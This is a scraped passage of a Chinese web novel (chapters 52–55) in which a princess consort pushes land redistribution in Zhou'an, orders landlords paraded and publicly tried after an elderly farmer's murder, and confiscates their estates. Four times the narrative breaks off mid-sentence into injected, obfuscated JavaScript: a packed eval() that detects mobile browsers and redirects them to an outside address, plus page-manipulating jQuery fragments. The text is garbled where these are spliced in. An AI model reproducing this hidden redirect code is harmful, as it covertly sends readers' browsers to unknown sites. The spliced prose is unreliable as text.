慕衷情扬起微笑:“自然知道,您在舟安居住几十年,应该明白如今的清王爷是一个什么样的人,或许他在外的名声是杀神,可在清州,他可曾做过什么搜刮民脂民膏之事?人总是习惯于现有的生活,因为改变,尤其是社会的改变往往伴随着流血牺牲,可是拨乱才能反正,既然世道如此不公平,推翻一次又有什么问题?” 谭泽被吓得立即起身,往外头望了好几眼,他再次回到座位上时,慕衷情依然保持着无懈可击的笑容,耐心等待他的答案。 他叹了一口气,回身往屋内走去,司岳似乎想去阻拦,慕衷情抬手示意不必,过了一会儿,谭泽手中拿着一本很薄的书走了出来。 “老头我这一生平庸,唯在种地一事上颇有天赋,想着从前上过私塾,认识些字,便写了些心得,本想着传给孩子,可惜他们都看不上,既然这位大人有如此雄心壮志,便赠予大人吧。”谭泽顿了顿又说道,“只是刚刚大人所说的那些话,老头子只能当未曾听过,老头子只是个普通人,做不了什么大事。” 慕衷情接过册子,应道:“您放心,今日我只问了种植之术。” 得到了自己想要的结果,慕衷情起身告辞,没走两步,谭泽又忽然叫住了她。 他犹豫着问道:“这位大人,能否告知老头子您的姓名?” 见慕衷情没有回答,谭泽又紧张地解释:“我并非有告发之意,只是我活了一辈子,还是第一次从官差嘴里听到这般言论,有些好奇罢了。” 慕衷情低头笑了一声:“抱歉,姓名不便告知,若是今日我所言成真,您便记着,往后一切变革自今日你我开始,您说您是个普通人,可这个世界不就是无数的普通人所筑成的吗?” 出门前,慕衷情最后说道:“相信我,您的这些心得,会救很多人的。” 慕衷情对谭泽说得笃定,出门后却显得忧心忡忡。 司岳关切问道:“王妃可是有什么心事?” 慕衷情摇摇头:“在外就喊我名字吧,我没有什么心事,我只是在担心,自己能不能做到所想之事。” 她沉思许久:“司岳,若是王爷真的遭遇不测,你可愿与我一道,做一件惊天动地的大事?” 52. 五十二、 慕衷情花了七天时间,将名单上的人一一拜访,得到了不少收获。 她将所有资料整理出来,装订成册,调查告一段落,接下来就是实践。 慕衷情心里其实并不是很有底,七日前她问司岳,如果秦澈回不来,愿不愿意跟着她做一件惊天动地的大事。 看当时司岳的神情,她怕是认为这件事是领兵造反,于是她坚定地答是。 可慕衷情所想,却全不止于此,她几乎是已经完全适应了如今的生活,但她依然讨厌这样一个世界,她依然想要去做些改变。 她想做的,也是不是领兵造反,而是革/命。 一想到这两个字,她就激动又害怕,激动在于那是她从前都不敢想的事情,更别提去做,害怕在于,她始终不认为自己有这样的能力,完成一场理想的革/命。 但是,总该去做的,她如今能有这样的生活,是一种幸运,但她怎么能被封建社会的贵族阶级腐化呢? 慕衷情想,无论成功与失败,她能改变一点是一点,哪怕失败,她也要留下一点东西给这个世界的后来人。 每次犹豫时,慕衷情就这样给自己打气。 之后几天,她又住到了舟安府衙中,召集了舟安府中最有经验的司徒们,商讨修建舟安城至四处农地的道路事宜,顺便将改建舟安田地水渠的事宜提上日程。 慕衷情刚说完这两件事,一帮子人都陷入了一种惊恐的沉默中。 古往今来,修路都是大事,修水渠更是关系到农业根本,他们怕做多错多,更怕坏了舟安农事根基,更何况,王爷不在,他们怎么可能信任一个从小养尊处优的女子,能将这样的大事做好。 慕衷情自然明白自己还不能够服众,不过她也不着急,当初回到村里工作时,村里人也都还当她是以前的小孩,没有恶意,但全是轻视。 无论是性别,还是年纪,别人都有轻视她的理由。 唯独她自己,从不肯轻视自己。 慕衷情坐在上位,优哉游哉地品着茶,似乎并不在乎底下人的想法。 窃窃私语一阵之后,终于有人上前一步说道:“王妃恕罪,属下无能,修路一事牵一发而动全身,我们怕是没有这样的能力给王妃一个满意的答复。” 慕衷情放下茶杯:“是不敢还是无能?我要的又不是高速公路,只是要一条不泥泞的,平整好走的路,你们在担心什么?” 反正她是不信这些人不会规划道路,都是人,都术业有专攻,古代与现代的差距不过是就是科技的发展程度,所以慕衷情从不认为修路这件事会难倒他们。 “想要修路,除去勘测、计划之外,还需征召徭役,若是工程浩大,还需耗时多年方能结束,事关重大,王妃此举,王爷可知否?”其中一名司徒试探道。 慕衷情有点心虚,但将令牌拍到桌上,十分大声地说:“王爷自然知晓,他多日未归,但我与王爷一向有书信往来,这些事情自然会事先告知他。” “敢问王妃,王爷何时能回来?征召徭役修路,可不是个小事啊。”说到底,他们担心的不是路怎么规划的事情,而是一旦徭役出现问题,那可是能把清州名声毁于一旦的大乱子。 虽然秦澈的名声,大多都在带兵打仗上,跟爱民如子也没什么关系。 慕衷情摩挲着那块令牌,镇定地答道:“王爷自有他的主张,你这般打听王爷的下落,难不成是在为什么人打探消息?” 有回答不了的问题时,慕衷情选择制造一个新的问题抛回去。 这里的人没有一个是真的傻子,自家王爷和京城那位的恩恩怨怨这些年看了不少,加上这回王爷迟迟不归,大家都能猜到是被谁绊住了。 慕衷情这么大一口锅扣下来,吓得说话的那个人直接跪下,额头贴地:“属下不敢!请王妃宽恕属下失言之罪!” 慕衷情看向自己的手,她其实可以杀鸡儆猴,震慑这些人,反正这也不是她第一次杀人。 可最后,她只是轻声说道:“不必害怕,起来吧,你们要记住一件事,那位如此忌惮王爷,却始终不敢在明面上真的对他动手,最重要的原因,就是王爷兵权在握,他手下的人说是瑾朝的士兵,却大多心向王爷,于是他们想用粮草和军饷来牵制王爷,削弱他的实力,无论这一招如今有多少用,我们都必须防患于未然,将清州发展得更富庶更安宁,那么王爷的位置才能更稳固,清州也更安全,明白了吗?” 几人低头道:“明白了。” “明白了就好,记住了,要想富先修路,清州与京州丰州气候都不同,阴雨天气多,许多路走起来常年都是泥泞不堪,严重影响出行效率,所以我要从舟安开始修路,修一条能够方便大多数百姓出行、务农的平整干净的道路,一条往后运送各种物资能够顺畅稳当,绝不让前线多等一天的道路,这条路的走势、深浅、高低、用料,都需要你们一一去勘测、定论,王爷与清州的未来,都在诸位手中了。” 慕衷情最擅长的就是动员,最后一句说完,底下的人早已没了最开始的犹疑和不信任,他们的注意力全都落在了“王爷与清州的未来”这几个字上,瞬间感到自己肩上的担子沉甸甸的,简直是踌躇满志。 这一波司徒退下之后,慕衷情瘫在椅子上休息了几分钟,很快下一波人就来敲门。 她提起精神,再面前纸张上的“修路”两字旁打了个勾,在水渠旁画了个圈,而后说道:“进来吧。” 得到允许,又是十几人进门,关门,行礼一套流程。 这些人的装扮却是与刚刚那几个完全不同,更为朴素,其中大部分人的手臂都粗壮有力,明显是常年干活的。 慕衷情将桌上左侧的一沓纸拿过来,状似随意地翻着:“都起来吧,不必多礼,今日召各位前来,其实是有事相托,想来进门之前,府主大人应当已经将报酬与你们说清,我也不多说废话了,这里有几十张纸,但并不是图纸,你们都是舟安数一数二的工匠,比我们这些人要更懂如何去绘制图样、如何去制造出更为实用的工具,这些是我所设想的有希望在这里实现的农具,我需要你们去做出来,不一定要全部,但能做出多少,是多少。” 说着,慕衷情将那一沓纸分成了十几份:“都来看看吧,有什么问题尽管问我,但有一点,这些农具做出来,是要实用、耐用,可以在清州批量制作、发售的,我不要华而不实的好看玩意,明白吗?” 底下人应声过后,先后上前拿过一份份纸张,说句实话,他们也不知道绘制这些内容的人是谁,只觉得展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318292|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 示参考的图样画得实在有些抽象,好在一旁的功能拆解写得十分详细,有些经验足的人,在脑海中一下子就有了想法,许多事情,难在创新的第一步,但只要有了第一步想法,往后的事情对他们这些人来说就容易许多。 慕衷情耐心地等他们细细看过每一张她想了好几天的图样,之前那段在地里跟着农户一起劳作的时间,让她发现,这个世界的生产力实在太过落后,要什么没什么,她绞尽脑汁,试图把以前还给老师的那些古代农业工具的知识给抢回来,好不容易才想到了踏犁、水转筒车、秧马、曲辕犁、塍铲等工具。 她真的已经尽力了。 “看了这些东西,我相信你们也会有自己的想法,如果它们能从你们的手中被制造出来,我想你们应该会明白,这能够给百姓带来怎样的改变,利在当代,功在千秋啊各位。”慕衷情平静又熟练地给他们灌鸡汤。 不过此时的工匠们已经听不进去了,他们都没怎么在意慕衷情说了什么,反而几个人扎一堆,开始讨论起自己的想法来。 慕衷情一时无言,她无声地牵起一抹笑,安安静静地喝茶,等他们讨论完毕。 这一等便是半个时辰,慕衷情腰都坐累了,她轻轻地起身伸了个懒腰,结果膝盖不小心撞到桌子,疼得她嘶了一声。 这下那些工匠们都回过了神,尴尬地互相看看对方,然后整齐划一像最开始那样恭敬地行礼。 慕衷情疼得龇牙咧嘴的,就分出一只手挥了挥:“都回去干活吧,东西做出来还得先拿到田里去试用,再改良,时间紧任务重,别在我这儿耽搁了。” 路有了,农具有了,接下来就是人和地的问题。 其他都好说,地才是秦澈不在时,慕衷情要解决的最大的难题。 她揉了一会儿膝盖,又拿过桌子右侧的册子,谭泽的那些种植方式,的确不是每一个人每一块地都能复制,于是她让府衙中专事农业的人都看了一遍册子,而后分别进行改良,她只给了他们一天时间自己创作,又给了他们一天相互讨论,修改,如今她手上的就是最终版本。 慕衷情准备将以这本册子为宣讲模板,进行为期一个月的舟安农户种植技术宣讲会。 而这个宣讲的人选,她挑来挑去,最终是挑了谭泽。 一是他年龄大,资历老,压得住场子,二是他对舟安的地更了解,有人提问时,也可以用自己的经验去解答。 前期的准备似乎都好了,这一天最后一个进这扇门的,是司岳。 “王妃,您之前交代的事情,都已经吩咐下去了,只是这件事,实在是……”司岳不知该如何形容,当分地这件事,真真切切地摆在她面前时,她陷入了一种恐慌之中。 一种莫名的,令人心惊胆战的恐慌。 但她还是去做了,为了忠心,为了那个曾经有勇气离家、逃婚的自己。 “别怕,等王爷回来,这里会是一个全新的舟安。”慕衷情安慰道。 望着慕衷情坚定的目光,司岳用力点头。 “王妃,清州军一定会护住您的安全!” 司岳无比清楚,一旦分地之事展开,慕衷情会遇到多少的危险。 她要动那些地主乡绅的命根,别人自然,也会来要她的命。 53. 五十三、 几天后。 刚刚安生了没多久的舟安百姓们,忽然发现城中似乎多了许多巡逻的卫兵。 只是大部分人也只是好奇了一会儿,便不再探究,正值农闲时期,大家都需要做些别的活计来维持生活开销,顾不上那些太高太远的事情。 慕衷情也是直到司岳告知,才知道秦澈给她的那块令牌竟有权调动清州军。 秦澈这也太信任她了吧。 不过这份信任,的确是为她解决了不少不必要的麻烦。 为了确保所有事情能够按照自己的预想进行,慕衷情从附近陆续调了两千兵马,一部分悄悄驻扎在城外,一部分则分批进城,逐步掌控整个舟安的治安。 在蔡书霖的配合下,这些事情进行得十分顺利。 这一回,慕衷情没有亲自一家一家去讨论上交地契和免除债务的事宜,她对舟安的各方势力了解并不深入,此处又是清州中心,于是她将这个任务交给了蔡书霖。 蔡书霖才是最了解舟安情况的人,就连秦澈都不能与之相比。 但慕衷情也没有闲着,她带着不少人去量地,说实话,那些地契上的面积尺寸也都未必能尽信,还是要重新量过才放心。 至于谭泽的宣讲会,慕衷情放到了折柳巷新建的学堂里,采用分时分流的方式尽量让更多农户能够参与,就是辛苦了谭泽,要连续讲上一个月。 折柳巷的事情,慕衷情放心地交给吴雪吴雨和锦书去安排,她无比庆幸自己当初没有犹豫,如今折柳巷可以算是她比较信任的一个基地了。 “一步一步来,一寸一寸量,事情总能做成的。”慕衷情作为一个冷酷无情的监工,为了赶时间,不停地给大家打鸡血,灌鸡汤,“往后舟安,乃至清州的百姓,都会感谢你们。” 倒也不是慕衷情想当个周扒皮,主要是时间紧任务重,量完地,分完地,修路和修水渠的事宜才能真正去展开,也更有信心动员更多的百姓参与进来。 但,清州的暴雨季节快要到了。 慕衷情有些担心,暴雨的这段时间会不会发生什么意外。 “好,我们一定能成功!”其中一个人在田里大声应道。 慕衷情不太认识他,只记得他是这些人里最年轻的一个,年轻人还是热血啊,都这种时候了,还有精力回话。 - 司岳说,今年的风和雨来得比往年好像要早一些。 八月初,被晒到发烫的地面在一场大雨落下之后,就再也没干过。 担心什么就来什么,慕衷情站在檐下望着瓢泼大雨,悬着的心终于死了。 量地的事情倒是顺利,就是时间不够,被迫搁置延后。 蔡书霖那边,是真的出师不利,他请了一次客,不欢而散,去单独请人商谈,却被各种理由拒绝。 也就折柳巷的宣讲会稍微顺利了些。 慕衷情又一次叹息,对未来感到担忧。 有时候这人呐,就不能想事儿,墨菲定律诚不欺我。 就在慕衷情对着雨,思考接下来的事情时,蔡书霖撑着伞匆匆来报。 “王妃,谭泽死了。” 谭泽死了,但不是意外,也不是自杀,是谋杀。 他的尸体是在折柳巷外不远处被发现的,他应当是在前一日的宣讲结束后就被人拖进了小巷。 慕衷情当然还记得谭泽的样子,他只是一个看起来有些干瘦的小老头罢了。 所以没有意外,他被一刀割喉,雨水冲淡喷涌的血水,不过是一条性命又消失在了世上。 谭泽一个人住,自然不会有人发现他一夜未归,所以直到早上,他才被发现。 慕衷情听到这个消息的时候,她下意识地退后了一步,像是要逃避什么。 但她很快找回了自己的声音:“谁做的?” “一刀割喉,做得很干净利落,不会是普通人。”蔡书霖笃定道。 慕衷情的手指摩挲着自己的衣摆:“那就是他们,开始动手了。” 蔡书霖站在雨中,问道:“王妃,接下来我们该做什么?” “他们不该对无辜的百姓动手,人命也不该这么不值一提,但凡他们大胆点,直接来杀我……”慕衷情闭上眼,下定决心,“既然他们要见血,那就启动我们最开始说过的第二步,杀。” 蔡书霖伴着雨声,轻笑一声:“是,这些年老臣的手里也收集了不少他们的罪证,是时候拿出来了。” 他离开前,慕衷情还提醒道:“小心些,还有那些匠人们,统统要派人暗中保护好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336380|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,蔡大人,此番,怕是要血洗舟安了。” 蔡书霖不像慕衷情一样,对杀人这件事始终无法轻松面对,他只是笑着回应:“王妃别担心,如今的舟安,也未必是最好的。” 慕衷情认真打量了一番蔡书霖,她早就察觉,这位蔡大人脑子和心里装着的东西比他们所能看到的多得多,不过这句话还是超出了慕衷情对一个古人的认知。 “好,那就等蔡大人的好消息了。”慕衷情没有纠结蔡书霖的城府究竟有多深,至少现在,蔡书霖很明显是他们的自己人。 再者,古人聪明的也多了去了,君子论迹不论心,慕衷情只需要事情有一个好的结果。 没过两天,这桩案子的结果就送到了慕衷情的手上。 雨依然在下,连绵多日。 慕衷情听着雨声,看完了蔡书霖的全部调查结果。 几家听说了要分地消息的大地主们一商量,雇了个杀手杀死了谭泽,想给慕衷情来个下马威,也想让所有人知道,帮着慕衷情的下场。 调查结果并没有多意外的内容,慕衷情不知道自己作何感想,她想起蔡书霖在檐下看着她的神情。 或许早在慕衷情动手之前,蔡书霖就猜到谭泽会是最容易被害的人,他不是官家的人,无权无势,是最容易被忽视,最适合被践踏的一个。 但是那些决意杀害谭泽的人不会想到,慕衷情偏偏就是会为一个不过一面之缘的人报仇的家伙。 或许蔡书霖连这一点也猜到了。 当他来到滴雨的檐下时,他还是那样看着慕衷情,仿佛一切了然如胸,尽在指掌之中。 慕衷情问:“蔡大人,既然真相已查清,接下来准备怎么做?” “王妃认为,该当如何?”蔡书霖垂下眼,“按理来说,杀人偿命。” “那便杀人偿命,他们喜欢杀鸡儆猴,那我们有何不可?”慕衷情扬起一丝笑意,眼中却尽是漠然,“也不必挑日子了,就明日吧。” 蔡书霖直起腰,往常平和淡然的眸中竟透出些许锐气。 慕衷情心中有了答案,她沉默良久,却明白自己同样有思虑不周的罪责,她没有立场去责怪蔡书霖的“百密一疏”。 于是她说: “明日,大开杀戒。” 54. 五十四、 为了枉死的谭泽,为了从前无数个枉死的“谭泽”。 慕衷情一直觉得自己的性格不适合做一个领导者,尤其在这样一种环境中。 当她一一定下那些决策时,慕衷情时常有一种罪恶感,她得逼着自己,将那些人命想成数字,再逼着自己不要忘记她到底从何而来。 来到这里的每一天,慕衷情都感觉自己在被痛苦地割裂着。 她该庆幸自己的适应能力的,否则,怕是早就疯了。 清晨,雨势似乎小了些。 慕衷情身上披了件薄薄的披风,手中撑着伞,司岳跟在她的身后,与她一起走入雨中。 今日,舟安闭市。 蔡书霖已经将闭市的消息提前两天公告全城,因此今日的舟安府街道上冷冷清清的,许久见不到一个人。 慕衷情一路走到舟安府城墙之上,对司岳说道:“天亮了,就开始吧。” 这场生杀的大戏,不是那些只能在暗夜中完成的龌龊事,慕衷情不仅不避讳,还故意要让所有人都看到、听到。 军队入城后,除了每日的巡逻外,慕衷情还交给他们一个任务,就是摸清、监视城中大地主们的住址和动向,以确保要抓人时一个都跑不了。 所以今天的一切都进行得很顺利,他们当然会遭到抵抗,但那些家仆和真正喋血沙场的战士比起来,胜负没有意外。 司岳为慕衷情奉上刚泡好的茶,慕衷情抬头问了一句:“冷吗?” 司岳摇摇头,继续安静地站在慕衷情身后,她早就不怕冷了,否则今时今日的她就不会在舟安。 慕衷情拢了拢披风,南方下雨时,气温总是降得有些快,好在本是夏日,也冷不到哪里去。 她在城墙之上坐了半个时辰,雨势又变大了些许。 所幸,她等来了她想要的。 为了不给舟安的百姓留下过于血腥的印象,慕衷情教给蔡书霖一个方法,一个斗地主的方法。 不要直接杀,要游街示众,要将他们罊竹难书的罪行一一公示,要让每一次流血都有价值。 她还记得蔡书霖问她,什么是价值,那些罪行只需要在事情结束之后公之于众便可,为何要如此大费周章。 慕衷情回答他:“我的一位老师曾经教会过我,人民的力量是最为强大的,如今的舟安,或是清州,或是天下九州,你可曾见过有一位真正的明主,能让百姓们宁愿豁出命去相护,愿意主动将家中所有的孩子送上战场,只因为相信跟着他,他们才能过上好日子,只因为相信只要是他,他们就能过上好日子,哪怕自己也成为尸山血海中的一摞白骨,他们也相信从今往后的国家与人民,可以有尊严地活下去。” 看着蔡书霖的神情,慕衷情便知他理解不了,或许他认为,只要忠诚便可以做到赴死,或许他不理解,什么才是有尊严地活下去。 在不同的社会制度之下,尊严二字是被分给不同阶级的人的。 不过即使不理解,蔡书霖还是按照慕衷情的吩咐去办事,他整理出那些罪证最确凿,也最容易激起民意的几个大地主名单,确认为第一拨要杀的“鸡”。 “舟安府蔡氏耀宗,多年来侵占土地、欺骗勒索、强抢民女、草菅人命,特此游街示众,昭告舟安百姓,明日公审蔡耀宗,人人皆可述其过错,究其罪责……” 蔡耀宗被五花大绑,佝偻着腰,披头散发,狼狈至极,慕衷情眯着眼瞧了一会儿,他身上还溅了不少血,看来之前反抗得挺激烈,估计死了不少人,才让他成了现在这副样子。 不过慕衷情对这样的人没有多余的同情心,她对司岳说道:“让他们快一点接上下一个,节奏不要断了,必要时,多动刀,多用武力震慑。” 司岳便立刻吩咐站在一旁的一名士兵,士兵下城楼去传令。 即使是在这个世界,慕衷情的这番做法都说不上一个仁字,如果是从前的她,断然下不了这样的命令。 可她始终记着,矫枉必须过正。 在这个崇尚权力与武力的世界,建立绝对的权威,是她接下来要做的事情有希望成功的必要前提。 慕衷情其实也很担心自己会迷失在权力的诱惑里,但不试试又怎能知道结果。 这回她没等多久,第二个被五花大绑的地主游街至此,而后是第三个第四个第五个。 他们被迫一遍又一遍地游街示众,城中的百姓们扒着窗框看,虽然有禁足令,但有些胆大的或是曾受过苦的百姓依然抑制不住自己的愤怒,打开窗朝经过的那几人丢臭鸡蛋或石头。 对此,慕衷情早有预料,还特地让那些士兵们都穿上盔甲,以免被误伤。 最后,慕衷情在城门处圈出了一块地,那几个人跪作一排,周围把守着几个士兵,以免他们在公审之前就被打死。 临近午时,天彻底放晴,慕衷情终于从城楼上走下,裙摆拖到湿漉漉的台阶,沾染到些许泥土与苔藓。 蔡书霖匆匆赶来,还喘着气,看来是一结束就小跑过来,但他红光满面,瞧着心情不错。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13352712|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “参见王妃,老臣不辱使命。” “蔡大人不必多礼,只是明日公审之后,怕是会有激烈的反扑,毕竟谁也不想跟他们一样跪在这里等死。”慕衷情语气漠然,“往后几日,出入舟安的人都要仔细盘查,若有不配合的,可强制盘查,若有反抗的,视情况或伤或杀,他们必须在舟安城内迎来自己的结局。” “是。”蔡书霖很是欣赏地看着慕衷情,身处旋涡之中,一旦开始动手,只有够心狠手辣的人,才能成功。 慕衷情呼出一口气,转身面向除了他们几个和士兵之外空荡荡的街道,举起秦澈给她的令牌喊道:“传我之令,即日起,所有舟安百姓皆可到府衙诉尽往日冤屈,凡清州律法所定罪责,无关身份、地位、男女,不公之事皆当受理,还蒙冤者清白,还被欺者公道!” 慕衷情捏紧了令牌,目前的她只能说到这里了,但她心中已经有了另外的想法。 那就是修订律法,只不过现在还没有到能进行这一步的时候。 蔡书霖再次深深地望了慕衷情一眼,而后应下。 这件事,慕衷情并未提前与他商量。 蔡书霖弯下腰时自嘲一笑,在他看来,慕衷情是个有些过分天真的好人,可现在一想,她再怎么天真,也比现在的自己,更为百姓着想。 他一时竟有些许茫然,似乎从慕衷情的身上,看到了曾经那个刚刚为官入仕的自己。 这些年,他的谋算越发老练,城府越发深沉,能轻易周旋于各个心怀鬼胎的人之间。 他一直认为,自己不过是换了种方式在为百姓谋福祉,可如今的慕衷情让他看到了另一种可能性。 权力在握时,其实很多事情并没有那么复杂,就按照自己认为对的方式去做,神挡杀神,佛挡杀佛便可,不停地商量、妥协、权衡,无非是还有些自己的利益舍不下罢了。 他很想问一句,王妃,您做这些事,究竟是为了什么? 但蔡书霖没有办法问出口,他怕答案让他失望,也怕答案真的如他所想。 他会无法自处的,因为现在的他,还没有办法坦然地面对这个答案。 “蔡大人,这几日要辛苦你了,若是人手不够,尽管告诉我便是。”慕衷情的声音镇静到冷漠。 蔡书霖笑着摇摇头:“王妃说笑了,何来辛苦,本就是为了清州而已,只是此番动静太大,明日还需王妃坐镇,以威慑那些宵小之徒才好。” 慕衷情垂下眼:“好,既然如此,明日还需另做些准备。” 55. 五十五、 “王妃,真的有必要这样做吗?”司岳不确定地问道。 慕衷情坚定道:“有必要,司岳,我不一定每次都是对的,但是现在的我,认为必须这样做。” 司岳犹豫道:“好,那就按王妃的吩咐,我去安排。” 等到司岳离开,房间里只剩她一个人的时候,慕衷情不用再挺直背脊,努力撑出气场了,她一下子靠到椅子上,揉揉自己的肩膀。 本来公审她是不打算去的,毕竟就断案来说,蔡书霖才是专业的,她在,无非就是个吉祥物,不在,只要安排好人手,也不怕有人捣乱。 可既然蔡书霖开了口,那她去也一趟也未为不可,只是去了,就要有去的价值。 所以回到王府后,她吩咐了司岳一件事——趁明日所有注意力都集中在舟安府衙之时,再秘密调五百人的队伍进城,根据蔡书霖之前整理过的名单,将剩余的那些鱼肉百姓的地主权贵们在公审大会结束之前统统抄家,抄没家产全部充公。 慕衷情之前一直在想分地之后,修建道路与水渠的事情,这不是一笔小开销,最好的方法自然是将那些被搜刮的民脂民膏再归还于民,但今日已然打草惊蛇,那些人或许会再次联合起来企图杀死他们中的任何一个人,也有可能偷偷转移财产和家人,想要逃离舟安。 所以今日蔡书霖提出要她坐镇时,她忽然想到,何不趁此机会,干脆利落地结束这一次的收地行动。 不过要同时进行并有足够的武力保证不出岔子,现有的人手还是不够,毕竟舟安府衙附近需要的人手也不少。 听到她的想法,司岳的第一反应就是,这事闹大了。 不过转念一想,自从慕衷情来到舟安后,做的大事还少了吗? 无非就是天翻还是地覆的区别罢了。 “收地,分地,平冤,诉苦,修路,修水渠,还差什么呢……”慕衷情的手托着下巴,自言自语道,“教育?对,军队的教育也该提上日程了。” 等到这些事情都进入安稳推进的状态后,古代的兵匪习气就必须改掉,清州军在秦澈的治理下,是出了名的军纪严明,但是这比起慕衷情想要的来说,还远远不够。 慕衷情立刻提笔默写出三大纪律八项注意,但是她看了几遍之后,又默默地放到镇纸之下。 直接抄这一段给现在的清州军,似乎步子迈得有点太大了,还是先做好眼前的事,清州军忠于的是秦澈,如果秦澈能尽快回来,倒是可以一试。 翌日,晴空万里。 慕衷情一大早就来到舟安府衙,不出她的所料,天光微亮时,舟安府衙附近便挤满了前来观看公审的百姓们。 幸好她提前让士兵们去维持秩序,避免出现踩踏事故。 门前被围得水泄不通,慕衷情便从后门进入府衙。 与此同时,舟安城门大开,五百人的军队整齐有序地进入城中,之后按照前一日分配的任务,在进城后即刻分队前往不同的地方,偶遇一些普通百姓,也都自觉地站到街道两旁,不敢出声打扰。 时辰一到,官袍加身的蔡书霖便坐到堂上,慕衷情则坐在一旁观审。 如今舟安城中地位最高的两人都在这里了。 慕衷情端坐着,听蔡书霖下令将昨日抓的那几人带上来,而后宣读条条罪状,今天的公审主要是为了让百姓们看到,因此,蔡书霖没有过多询问犯人的情况,毕竟光是陈列罪状就已经说得他口干舌燥,公堂之外的百姓也越发激动起来。 终于到了让百姓口述犯人罪行的环节,衙役几乎已经拦不住群情激奋的人群,还是又过去了几个士兵才堪堪稳住场面。 慕衷情想,难怪这几个人敢主张买凶杀人这等恶事,看来从前是欺压百姓惯了,今日怕是一时半会儿都结束不了这场公审,不过也好,给她安排的那五百人更多时间去完成任务。 她有些出神地担忧着外头的情况,蔡书霖让百姓们排队一个个来,承诺今日会听完所有人的陈述。 慕衷情听到了这句,心道,今日怕是不用睡觉了,虽然,这是她要求蔡书霖这么做的。 无论罪行大小,无论最后判决如何,慕衷情就是想给这些不会在历史中留下任何痕迹的人,一个开口的机会。 第一个被放进来的人,是一位白发苍苍的老者,一个年轻的梳着双丫髻的女孩搀扶着他,看起来怯生生的,但在经过那跪着的几人时,眼中露出了浓重的厌恶与仇恨。 蔡书霖一拍惊堂木:“今日公审,蒙冤者可历数自己的冤屈,不必担心日后报复,此五人恶贯满盈,罪行罄竹难书,本官必不会放过!舟安百姓也不必再惧怕其爪牙恶仆,本官已将其抄家获罪,一干人等均以收监。” 蔡书霖说完,本来就激动的人群更加激动,他又喊了好几声,才让他们安静下来。 那老者满眼是泪地跪下,短短几字道尽血泪:“大人,草民的儿子与儿媳正是被他们活活打死的啊!” 受审的其中一人显然认得这位老者,见状习惯性地推卸责任:“呸,你这老匹夫,分明是你那儿子自己先动手要打人,才会自食恶果的!” 他身着囚服,身上是结块变黑的血迹,因为昨日在外头跪了太久,膝盖早已承受不住,碰一下都疼。 可即使如此,他骨子里依然瞧不上这些普普通通的百姓们。 面对刀和血时,他们会惧怕,在更高的权力面前他们会害怕,可刀只要挪开一分,他们便又能重新猖狂起来,相信地位、阶级可以救他们一命。 “你,你,你这恶人!”老者被他这番话气到话都说不利索了。 慕衷情起身,顺便从蔡书霖的桌上顺走一块木牌,她没有说什么,但她如今的身份已经足够吸引所有人的目光。 于是在众目睽睽之下,她撩起右手碍事的袖子,一板子抽在了刚刚开口的那人脸上,“啪”一声清脆响亮,挑西瓜都拍不出这么完美的声音。 慕衷情被自己的力道震得手有点疼,不过周围骤然安静下来的结果,倒是让她非常满意。 “让你说话了吗?今日你们在这里,便只有伏法一条路,乖乖听着便是,谁再多说一句废话,就是这个下场。” 慕衷情用木板指向那人的脸,被打的那一侧已经明显红肿起来,养尊处优惯了的人正疼得嘶嘶叫。 但他已经完全没了刚才的气焰,连疼痛的声音都要努力压制着,生怕又惹到慕衷情。 慕衷情其实并不喜欢以暴制暴,可在这个世界,这却是最有用的法子。 蔡书霖摸了摸自己的脸,而后正色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368238|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“老人家,你继续说。” 老者感激地朝慕衷情和蔡书霖拜了又拜,他的故事并没有什么跌宕起伏的情节,就是一个很普通很常见的故事。 他的儿子与儿媳是青梅竹马,两人长大后便自然而然地成亲生子,除了家里的农活外,他们还会做些绣品和木工去卖,以维持家里的几口人的生计。 儿媳长得漂亮,在一次和丈夫一起出去摆摊的时候,被人看上,那些人想要强行带走她,她的丈夫为了保护她,便拿起扁担想要打走那些恶仆,可对方人多势众,他们两人都被活活打死在街上。 